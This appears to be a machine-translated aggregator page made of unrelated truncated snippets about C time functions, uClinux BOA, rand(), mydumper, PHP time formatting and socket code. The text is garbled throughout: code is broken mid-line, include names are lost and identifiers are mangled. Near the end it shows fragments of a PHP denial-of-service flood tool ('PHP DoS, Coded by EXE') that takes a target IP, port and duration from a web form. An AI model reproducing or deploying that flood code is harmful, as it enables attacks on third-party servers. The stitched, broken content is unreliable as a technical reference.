In the uClinux kernel of the arm board, BOA is sometimes used as a web server,Unlike the Linux Kernel on the arm board, uClinux uses the arm-elf-GCC compilation tool,
There are two methods to compile BOA in the uClinux kernel,First, when porting the
6.2.2 wall time
Wall time: during system startup, the RTC chip stores data for initialization, maintains the data by the system clock during system operation, and synchronizes the data with the RTC chip at the appropriate time. The wall time is
The program often needs to calculate the time. When you need to calculate the running time of an operation, you need to calculate the time difference.
1. C/C ++
C has a basic library to implement this function. The function is in the time. h
C language Time FunctionsC Standard library functions include a series of date and time processing functions, which are described in the header file. These functions are listed below. Three types are defined in the header file: time_t, struct TM,
Get calendar time
We can use the time () function to obtain the calendar time. Its prototype is:Time_t time (time_t * timer );
If you have already declared the timer parameter, you can return the current calendar time from the timer parameter, or
I. ANSI C predefined macros
_ Line _, _ file _, _ date _, _ time _, _ stdc _, and _ timestamp __
Annotation on msdn:
_ Date __
The compilation date of the current source file. The date is a string literal OF THE FORMMmm dd yyyy.
The month
// Put a word in each row of the file, which is close to 2 MB. I didn't expect to use the hash method. The speed will be so fast. The running time is 0.085s ~~~ -Incredible, haha
// Train of thought: Define an array of 26 characters, that is, 26
The time required for calculating the FFT in software recently. The collected references are as follows:
# Include # Include /* contains the standard library header file */# Include Int main (INT argc, char ** argv){Struct timeval start, stop,
Recently, I have been committed to C Development in Linux, because the boss came out. Therefore, the main technologies used are the basic background architecture of a certain message.
During this time, I learned a lot and then admired the technology
Reference: http://www.cnblogs.com/doublesnke/archive/2011/08/05/2128558.html
Solution-: Use the c Standard Library
Advantage: provides cross-platform performance;
Disadvantage: it can only be accurate to seconds;
The main time functions of the c
Generate an m3u8 file and a TS slicing program using the FFMPEG file (I)
Purpose: enter a local file to implement m3u8 slicing. For more information about the function, see notes. Note: notes are
Rand ()
Used to generate random numbers. Strictly speaking, the pseudo-random number is generated ). In a program, two calls to Rand () are used to generate random numbers and the results are the same.
For (INT I = 0; I
{
Int x = rand () % 20;
C ++ extern C
# Include Cstdlib > # Include Fstream > # Include Iomanip > # Include Iostream > Extern " C " {# Include Sys / Time. h > # Include Unistd. h > } Using Namespace STD; // ===============
I. Custom Toolbar
1.
Tools-> Customize-> toolbar-> New-> new toolbar-> OK;
2.
Customize-> commands-> category-> drag in what you need!
2. Add a CPP File
When C ++ source file is selected for file/new, the compilation is incorrect.
/* Function: Get the current system time. Return Value: 0-success,-1-Failed out: Save the returned system time. The format is determined by fmt. fmt: 0-return: yyyy-mm-dd hh24: mi: ss, 1-return: yyyy-mm-dd, 2-return: hh24: mi: ss */int getTime (char
Example of mydumper backing up MySQL database
Mydumper is a lightweight third-party open-source tool for mysql database backup. The backup mode is logical backup. It supports multithreading, And the backup speed is much higher than the original
In fact, there is no technical content. Of course, you can directly paste the code, no nonsense,
However, it is quite useful in development, such as Forum posts and collars.
Copy codeThe Code is as follows: function tranTime ($ time ){
$ Rtime =
I. Analysis of php OutsourcingUse php code to call sockets and directly use the server's network to attack other IP addresses. The common code is as follows:
Copy codeThe Code is as follows: $ packets = 0;
$ Ip = $ _ GET [\ 'IP \ '];
$ Rand = $ _
Index. php
Copy codeThe Code is as follows: $ Ip = $ _ SERVER ['remote _ ADDR '];
?>
PHP DoS, Coded by EXE
Your IP: (Don't DoS yourself nub)
IP:
Time:
Port:
">
After initiating the DoS attack, please wait while the
Server
#! /Usr/bin/env python
Import socket
Import time
Host =''
Port = 99999
S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
S. bind (host, port ))
S. listen (2)
While 1:
Conn, addr = s. accept ()
#---------------
Print 'got connection
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